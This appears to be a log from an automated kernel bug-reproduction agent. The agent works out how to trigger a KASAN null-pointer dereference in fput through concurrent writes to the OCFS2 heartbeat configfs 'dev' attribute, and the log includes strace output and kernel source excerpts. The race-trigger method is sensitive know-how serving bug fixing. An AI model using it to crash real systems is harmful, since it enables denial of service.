[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5857] <... write resumed>)        = 819
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] exit_group(0 <unfinished ...>
[pid  5872] ???( <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] <... exit_group resumed>)   = ?
[pid  5872] <... ??? resumed>)          = ?
[pid  5871] +++ exited with 0 +++
[pid  5872] +++ exited with 0 +++
+++ exited with 0 +++
[   71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 


171/4 2026/09/04 20:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 66173
							output: 45
							thoughts: 744
						

Thoughts:
**My Thought Process on the KASAN Null-Pointer Dereference in `fput`**

Right, so I've got this KASAN bug report: "KASAN: null-ptr-deref Write in fput". The immediate thought is, okay, something's trying to dereference a NULL pointer while trying to put a file reference back, and it's happening within the `fput` function itself. That's a pretty fundamental operation, so it suggests a more subtle issue somewhere upstream.

Looking at the crash trace, it paints a clearer picture. We see the `null-ptr-deref` propagating through `instrument_atomic_read_write`, then `atomic_long_dec_return`, and then `file_ref_put`. This sequence strongly indicates that the issue lies in how the file reference count is being decremented or how the underlying file structure is being handled *before* `file_ref_put` is called. The actual crash occurs at `fput+0x2e/0x100` in `fs/file_table.c`. Crucially, it's a "Write of size 8 at addr 0000000000000158," which is suspiciously close to zero, hinting at a NULL pointer being dereferenced.

Then, I examine the reproducer output. This is where the context really starts to form. The reproducer is setting up a configfs cluster configuration, specifically for OCFS2 heartbeat regions. It creates a cluster, a node, and then a heartbeat region. The key lines that jump out are:

*   `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument`
*   `[+] Wrote '7777\n' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port`
*   `[+] Wrote '127.0.0.1\n' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address`
*   `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument`
*   `[+] Opened block device, fd=3`
*   `[+] Wrote '1024\n' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes`
*   `[+] Opened dev attr twice.`

The fact that writing to `num` and `local` fails with `Invalid argument` (which is `EINVAL`) is a significant clue. The reproducer then proceeds to set up heartbeat region parameters and, critically, opens a block device. The phrase "Opened dev attr twice" is also very suggestive – it implies some kind of double operation or perhaps an attempt to re-initialize something that shouldn't be.

The `strace` output reinforces this observation:
`[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>`
`[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)`

This shows a `pwrite64` call returning `EINVAL`. The fact that the "write to `dev` is failing with `EINVAL`" is the precise connection I need. It strongly suggests that the `EINVAL` error is occurring during the setup or configuration of the device within the heartbeat region, and this failure is somehow leading to the subsequent NULL pointer dereference.

My next logical step is to dive into the code for `o2hb_region_dev_store` in `fs/ocfs2/cluster/heartbeat.c`, as the trace indicates this is where the problematic `dev` attribute write is happening. I'm hypothesizing that the `EINVAL` error returned from the underlying device write operation is not being handled correctly by `o2hb_region_dev_store`, leading to an inconsistent or uninitialized state for the file object associated with the heartbeat region's device attribute. This inconsistent state is then passed down, eventually causing `fput` to encounter a NULL pointer when it tries to access members of the file structure or related objects. I need to see how `o2hb_region_dev_store` processes the write and how it handles errors from the `pwrite64` call to identify where the file reference might become invalid or be prematurely cleaned up.


172/4 2026/09/04 20:56 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_dev_store]

Results:
map[SourceCode:1773:	/*
1774:	 * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775:	 * nothing
1776:	 */
1777:	static ssize_t o2hb_region_dev_store(struct config_item *item,
1778:					     const char *page,
1779:					     size_t count)
1780:	{
1781:		struct o2hb_region *reg = to_o2hb_region(item);
1782:		struct task_struct *hb_task;
1783:		long fd;
1784:		int sectsize;
1785:		char *p = (char *)page;
1786:		ssize_t ret = -EINVAL;
1787:		int live_threshold;
1788:	
1789:		if (reg->hr_bdev_file)
1790:			return -EINVAL;
1791:	
1792:		/* We can't heartbeat without having had our node number
1793:		 * configured yet. */
1794:		if (o2nm_this_node() == O2NM_MAX_NODES)
1795:			return -EINVAL;
1796:	
1797:		ret = kstrtol(p, 0, &fd);
1798:		if (ret < 0)
1799:			return -EINVAL;
1800:	
1801:		if (fd < 0 || fd >= INT_MAX)
1802:			return -EINVAL;
1803:	
1804:		CLASS(fd, f)(fd);
1805:		if (fd_empty(f))
1806:			return -EINVAL;
1807:	
1808:		if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809:		    reg->hr_block_bytes == 0)
1810:			return -EINVAL;
1811:	
1812:		if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813:			return -EINVAL;
1814:	
1815:		reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816:				BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817:		if (IS_ERR(reg->hr_bdev_file)) {
1818:			ret = PTR_ERR(reg->hr_bdev_file);
1819:			reg->hr_bdev_file = NULL;
1820:			return ret;
1821:		}
1822:	
1823:		sectsize = bdev_logical_block_size(reg_bdev(reg));
1824:		if (sectsize != reg->hr_block_bytes) {
1825:			mlog(ML_ERROR,
1826:			     "blocksize %u incorrect for device, expected %d",
1827:			     reg->hr_block_bytes, sectsize);
1828:			ret = -EINVAL;
1829:			goto out;
1830:		}
1831:	
1832:		reg->hr_aborted_start = 0;
1833:		reg->hr_node_deleted = 0;
1834:		o2hb_init_region_params(reg);
1835:	
1836:		/* Generation of zero is invalid */
1837:		do {
1838:			get_random_bytes(&reg->hr_generation,
1839:					 sizeof(reg->hr_generation));
1840:		} while (reg->hr_generation == 0);
1841:	
1842:		ret = o2hb_map_slot_data(reg);
1843:		if (ret) {
1844:			mlog_errno(ret);
1845:			goto out;
1846:		}
1847:	
1848:		ret = o2hb_populate_slot_data(reg);
1849:		if (ret) {
1850:			mlog_errno(ret);
1851:			goto out;
1852:		}
1853:	
1854:		INIT_DELAYED_WORK(&reg->hr_write_timeout_work, o2hb_write_timeout);
1855:		INIT_DELAYED_WORK(&reg->hr_nego_timeout_work, o2hb_nego_timeout);
1856:	
1857:		/*
1858:		 * A node is considered live after it has beat LIVE_THRESHOLD
1859:		 * times.  We're not steady until we've given them a chance
1860:		 * _after_ our first read.
1861:		 * The default threshold is bare minimum so as to limit the delay
1862:		 * during mounts. For global heartbeat, the threshold doubled for the
1863:		 * first region.
1864:		 */
1865:		live_threshold = O2HB_LIVE_THRESHOLD;
1866:		if (o2hb_global_heartbeat_active()) {
1867:			spin_lock(&o2hb_live_lock);
1868:			if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869:				live_threshold <<= 1;
1870:			spin_unlock(&o2hb_live_lock);
1871:		}
1872:		++live_threshold;
1873:		atomic_set(&reg->hr_steady_iterations, live_threshold);
1874:		/* unsteady_iterations is triple the steady_iterations */
1875:		atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
1876:	
1877:		hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878:				      reg->hr_item.ci_name);
1879:		if (IS_ERR(hb_task)) {
1880:			ret = PTR_ERR(hb_task);
1881:			mlog_errno(ret);
1882:			goto out;
1883:		}
1884:	
1885:		spin_lock(&o2hb_live_lock);
1886:		reg->hr_task = hb_task;
1887:		spin_unlock(&o2hb_live_lock);
1888:	
1889:		ret = wait_event_interruptible(o2hb_steady_queue,
1890:					atomic_read(&reg->hr_steady_iterations) == 0 ||
1891:					reg->hr_node_deleted);
1892:		if (ret) {
1893:			atomic_set(&reg->hr_steady_iterations, 0);
1894:			reg->hr_aborted_start = 1;
1895:		}
1896:	
1897:		if (reg->hr_aborted_start) {
1898:			ret = -EIO;
1899:			goto out;
1900:		}
1901:	
1902:		if (reg->hr_node_deleted) {
1903:			ret = -EINVAL;
1904:			goto out;
1905:		}
1906:	
1907:		/* Ok, we were woken.  Make sure it wasn't by drop_item() */
1908:		spin_lock(&o2hb_live_lock);
1909:		hb_task = reg->hr_task;
1910:		if (o2hb_global_heartbeat_active())
1911:			set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912:		spin_unlock(&o2hb_live_lock);
1913:	
1914:		if (hb_task)
1915:			ret = count;
1916:		else
1917:			ret = -EIO;
1918:	
1919:		if (hb_task && o2hb_global_heartbeat_active())
1920:			printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921:			       config_item_name(&reg->hr_item), reg_bdev(reg));
1922:	
1923:	out:
1924:		if (ret < 0) {
1925:			spin_lock(&o2hb_live_lock);
1926:			hb_task = reg->hr_task;
1927:			reg->hr_task = NULL;
1928:			spin_unlock(&o2hb_live_lock);
1929:	
1930:			if (hb_task)
1931:				kthread_stop(hb_task);
1932:	
1933:			o2hb_unmap_slot_data(reg);
1934:	
1935:			fput(reg->hr_bdev_file);
1936:			reg->hr_bdev_file = NULL;
1937:		}
1938:		return ret;
1939:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

173/4 2026/09/04 20:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 69518
							output: 33
							thoughts: 101
						

Thoughts:
**My Debugging Journey**

My immediate thought upon encountering the crash was pinpointing its location: `fput(reg->hr_bdev_file);` on line 1935. My expertise immediately led me to examine the type of the argument `reg->hr_bdev_file`. Ah, it's a `struct file *`. This sparked a realization: if `reg->hr_bdev_file` happens to be NULL, passing it directly to `fput` would undoubtedly result in a null-pointer dereference, and thus, a crash. My next instinct was to verify the behavior of `fput` itself. Does it gracefully handle NULL pointers, or does it assume a valid pointer? To confirm this, I needed to dive into the implementation of `fput`.


174/4 2026/09/04 20:56 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/file_table.c Name:fput]

Results:
map[SourceCode: 586:	void fput(struct file *file)
 587:	{
 588:		if (unlikely(file_ref_put(&file->f_ref)))
 589:			__fput_deferred(file);
 590:	}
 SourceFile:fs/file_table.c]

175/4 2026/09/04 20:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 69733
							output: 38
							thoughts: 1275
						

Thoughts:
**Analysis of `reg->hr_bdev_file` NULL Pointer Potential**

My primary concern here is the potential for a NULL pointer dereference when `fput(reg->hr_bdev_file)` is called. I've been tracing the execution paths to understand how `reg->hr_bdev_file` can end up being NULL at line 1935.

Initially, I observed the direct assignment: if `bdev_file_open_by_dev` at line 1815 succeeds, `reg->hr_bdev_file` is populated. If it fails, the function returns early, so `reg->hr_bdev_file` would not be NULL at the `out` label in this scenario.

Then, I started looking at failures *before* `bdev_file_open_by_dev`. I examined checks like the `o2nm_this_node()` check at 1794, the `kstrtol` conversion at 1797, the `fd_empty` check at 1805, and the various `reg->hr_*` field checks at 1808. All these conditions lead to an early return, meaning `reg->hr_bdev_file` would still be NULL in these specific failure cases and thus the `out` label wouldn't be reached with a NULL `hr_bdev_file` if the assignment hadn't happened yet.

I then considered failures occurring after the assignment, such as the block size mismatch at line 1824. If this occurs, the code jumps to the `out` label. Crucially, if `bdev_file_open_by_dev` succeeded *before* this mismatch, `reg->hr_bdev_file` would *not* be NULL when reaching `out`. The same logic applies to the failure at `o2hb_map_slot_data` (line 1842), which also branches to `out`.

My subsequent thought process led me to question the `out` label's cleanup logic. Specifically, I noticed the `if (ret < 0)` block within `out`. If `ret` is negative, `reg->hr_bdev_file` is *then* set to NULL *after* the `fput` call at line 1936. This means that if `reg->hr_bdev_file` was *already* NULL when `out` was reached, the `fput` would operate on a NULL pointer, which is problematic.

I then circled back to my initial premise: is there any path where `reg->hr_bdev_file` could be NULL *before* the `fput` call, but *after* `bdev_file_open_by_dev` has been attempted or completed (or indeed, if it was never successfully assigned)? My analysis of the code snippets suggests that if `bdev_file_open_by_dev` fails, it returns early. If it succeeds, `reg->hr_bdev_file` is populated. This implies that any path reaching the `out` label where `ret < 0` would have had `reg->hr_bdev_file` either successfully assigned (and thus not NULL) or the function would have returned prior to that assignment.

However, a nagging doubt remained: could a race condition exist? What if `o2hb_region_dev_store` were called concurrently? My immediate thought is that `configfs` should inherently protect concurrent writes to the same attribute, which would prevent such races. I need to verify this assumption regarding `configfs_write_iter`.


176/4 2026/09/04 20:56 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:configfs_write_iter]

Results:
map[SourceCode: 213:	/*
 214:	 * There is no easy way for us to know if userspace is only doing a partial
 215:	 * write, so we don't support them. We expect the entire buffer to come on the
 216:	 * first write.
 217:	 * Hint: if you're writing a value, first read the file, modify only the value
 218:	 * you're changing, then write entire buffer back.
 219:	 */
 220:	static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
 221:	{
 222:		struct file *file = iocb->ki_filp;
 223:		struct configfs_buffer *buffer = file->private_data;
 224:		int len;
 225:	
 226:		mutex_lock(&buffer->mutex);
 227:		len = fill_write_buffer(buffer, from);
 228:		if (len > 0)
 229:			len = flush_write_buffer(file, buffer, len);
 230:		if (len > 0)
 231:			iocb->ki_pos += len;
 232:		mutex_unlock(&buffer->mutex);
 233:		return len;
 234:	}
 SourceFile:fs/configfs/file.c]

177/4 2026/09/04 20:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 71415
							output: 37
							thoughts: 71
						

Thoughts:
**My Thought Process Regarding `configfs_write_iter` and Concurrent Access**

Okay, so I'm looking at `configfs_write_iter`, and my immediate observation is that it acquires a lock on `buffer->mutex`. This is standard practice for ensuring data integrity when modifying shared resources. However, what strikes me as potentially problematic is that `buffer` is associated with a *per-file* instance.

This leads me to a critical inference: if two separate threads decide to open the *exact same file* within configfs, they will each be operating on their own distinct `file` and, importantly, their own independent `buffer` structures. This is a key detail.

The implication of having separate `buffer` structures, even for the same underlying configfs file, is that they will each have their own `mutex`. This means that if these two threads proceed to call `flush_write_buffer` concurrently, they won't actually be contending for the *same* lock. Each thread will be locking its *own* `buffer->mutex`.

This realization prompts a natural next step in my analysis: I need to delve into the `flush_write_buffer` function itself. My focus will be on understanding what operations it performs *after* acquiring its local `buffer->mutex` and whether there are any other shared resources or critical sections within that function that could still lead to race conditions or data corruption, despite the separate `buffer` instances. In essence, the fact that `buffer` is per-file is a strong indicator of potential concurrency, and I need to confirm if `flush_write_buffer` properly handles this or introduces new challenges.


178/4 2026/09/04 20:56 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/file.c Name:flush_write_buffer]

Results:
map[SourceCode: 199:	static int
 200:	flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
 201:	{
 202:		struct configfs_fragment *frag = to_frag(file);
 203:		int res = -ENOENT;
 204:	
 205:		down_read(&frag->frag_sem);
 206:		if (!frag->frag_dead)
 207:			res = buffer->attr->store(buffer->item, buffer->page, count);
 208:		up_read(&frag->frag_sem);
 209:		return res;
 210:	}
 SourceFile:fs/configfs/file.c]

179/4 2026/09/04 20:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 71716
							output: 46
							thoughts: 1131
						

Thoughts:
**Analysis of Concurrency Issue in `o2hb_region_dev_store`**

Aha! I've been digging into this `flush_write_buffer` function, and it seems like it only calls `down_read(&frag->frag_sem)`. This immediately flags a potential concurrency issue. If `flush_write_buffer` itself is protected by this read semaphore, it means that `buffer->attr->store`, which is `o2hb_region_dev_store` in this case, can be called by two threads simultaneously. This is where my concern starts to build.

Let's revisit `o2hb_region_dev_store` with this concurrent execution in mind. I'm looking at this block:
```c
1789:	if (reg->hr_bdev_file)
1790:		return -EINVAL;
```
Imagine Thread A and Thread B both entering `o2hb_region_dev_store` at roughly the same time. Thread A checks `reg->hr_bdev_file`, finds it's `NULL`, and proceeds. Almost immediately, Thread B does the same check, also finds it `NULL`, and also proceeds.

Now, Thread A successfully opens the file and sets `reg->hr_bdev_file` to point to it. Then, before Thread A can finish its operations, Thread B also opens the file (which is fine, it's a separate open operation), but critically, it then overwrites `reg->hr_bdev_file` with its *own* opened file descriptor.

This is where the leak becomes apparent. If Thread A managed to open a file and assign it to `reg->hr_bdev_file`, and then Thread B overwrites that pointer, Thread B is essentially leaking the file descriptor that Thread A was holding.

However, the actual crash I'm seeing is `fput(NULL)`. This implies that `reg->hr_bdev_file` is `NULL` when `fput` is called. How can this happen if the scenario above is occurring? Let's trace the code again.

I see the file opening logic:
```c
1815:	reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816:			BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817:	if (IS_ERR(reg->hr_bdev_file)) {
1818:		ret = PTR_ERR(reg->hr_bdev_file);
1819:		reg->hr_bdev_file = NULL;
1820:		return ret;
1821:	}
```
So, if Thread A successfully opens a file and assigns it to `reg->hr_bdev_file`, and then Thread B does the same, *both* threads have valid file pointers assigned.

The crash occurs when a thread fails *after* both have assigned valid file pointers. Let's say Thread A hits an error later in its execution (e.g., a mismatch in `sectsize` or a failure in `o2hb_map_slot_data`) and proceeds to its `out` label:
```c
1935:		fput(reg->hr_bdev_file);
1936:		reg->hr_bdev_file = NULL;
```
At this point, Thread A calls `fput` on its valid file descriptor and then *clears* `reg->hr_bdev_file` to `NULL`.

Now, if Thread B also encounters an error and proceeds to its `out` label:
```c
1935:		fput(reg->hr_bdev_file);
1936:		reg->hr_bdev_file = NULL;
```
Here's the problem: Thread B now calls `fput(reg->hr_bdev_file)`. But `reg->hr_bdev_file` is *already NULL* because Thread A just set it to `NULL`! This is precisely why Thread B ends up calling `fput(NULL)` and crashing.

This explanation seems to perfectly account for the observed `fput(NULL)` crash.

However, the reproducer output I'm seeing is different:
```
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
```
And the `strace` output shows:
```
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
```
The reproducer is indeed performing concurrent writes to the `dev` attribute. But instead of crashing with `fput(NULL)`, it's failing with `EINVAL`. This is a crucial discrepancy. Why `EINVAL`?

I'm now looking at the `EINVAL` paths within `o2hb_region_dev_store`:
```c
1792:	/* We can't heartbeat without having had our node number
1793:	 * configured yet. */
1794:	if (o2nm_this_node() == O2NM_MAX_NODES)
1795:		return -EINVAL;
```
This check is suspicious. Is it possible that `o2nm_this_node()` is returning `O2NM_MAX_NODES` in this specific scenario? To confirm this, I need to check if the node number was actually configured by the reproducer *before* attempting to write to the `dev` attribute.

Looking at the reproducer's output, I see this line:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
```
Ah, this is the key! If writing to the `num` attribute fails with "Invalid argument," it means the node number was *never* successfully configured. This perfectly explains why the subsequent call to `o2hb_region_dev_store` would hit the `o2nm_this_node() == O2NM_MAX_NODES` check and return `EINVAL`. The `fput(NULL)` crash is a separate issue that might still exist under different failure conditions, but this `EINVAL` indicates a more fundamental problem with the node configuration preventing the `dev` attribute from being processed correctly.


180/4 2026/09/04 20:57 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_num_store]

Results:
map[SourceCode: 184:	static ssize_t o2nm_node_num_store(struct config_item *item, const char *page,
 185:					   size_t count)
 186:	{
 187:		struct o2nm_node *node = to_o2nm_node(item);
 188:		struct o2nm_cluster *cluster;
 189:		unsigned long tmp;
 190:		char *p = (char *)page;
 191:		int ret = 0;
 192:	
 193:		tmp = simple_strtoul(p, &p, 0);
 194:		if (!p || (*p && (*p != '\n')))
 195:			return -EINVAL;
 196:	
 197:		if (tmp >= O2NM_MAX_NODES)
 198:			return -ERANGE;
 199:	
 200:		/* once we're in the cl_nodes tree networking can look us up by
 201:		 * node number and try to use our address and port attributes
 202:		 * to connect to this node.. make sure that they've been set
 203:		 * before writing the node attribute? */
 204:		if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
 205:		    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
 206:			return -EINVAL; /* XXX */
 207:	
 208:		o2nm_lock_subsystem();
 209:		cluster = to_o2nm_cluster_from_node(node);
 210:		if (!cluster) {
 211:			o2nm_unlock_subsystem();
 212:			return -EINVAL;
 213:		}
 214:	
 215:		write_lock(&cluster->cl_nodes_lock);
 216:		if (cluster->cl_nodes[tmp])
 217:			ret = -EEXIST;
 218:		else if (test_and_set_bit(O2NM_NODE_ATTR_NUM,
 219:				&node->nd_set_attributes))
 220:			ret = -EBUSY;
 221:		else  {
 222:			cluster->cl_nodes[tmp] = node;
 223:			node->nd_num = tmp;
 224:			set_bit(tmp, cluster->cl_nodes_bitmap);
 225:		}
 226:		write_unlock(&cluster->cl_nodes_lock);
 227:		o2nm_unlock_subsystem();
 228:	
 229:		if (ret)
 230:			return ret;
 231:	
 232:		return count;
 233:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

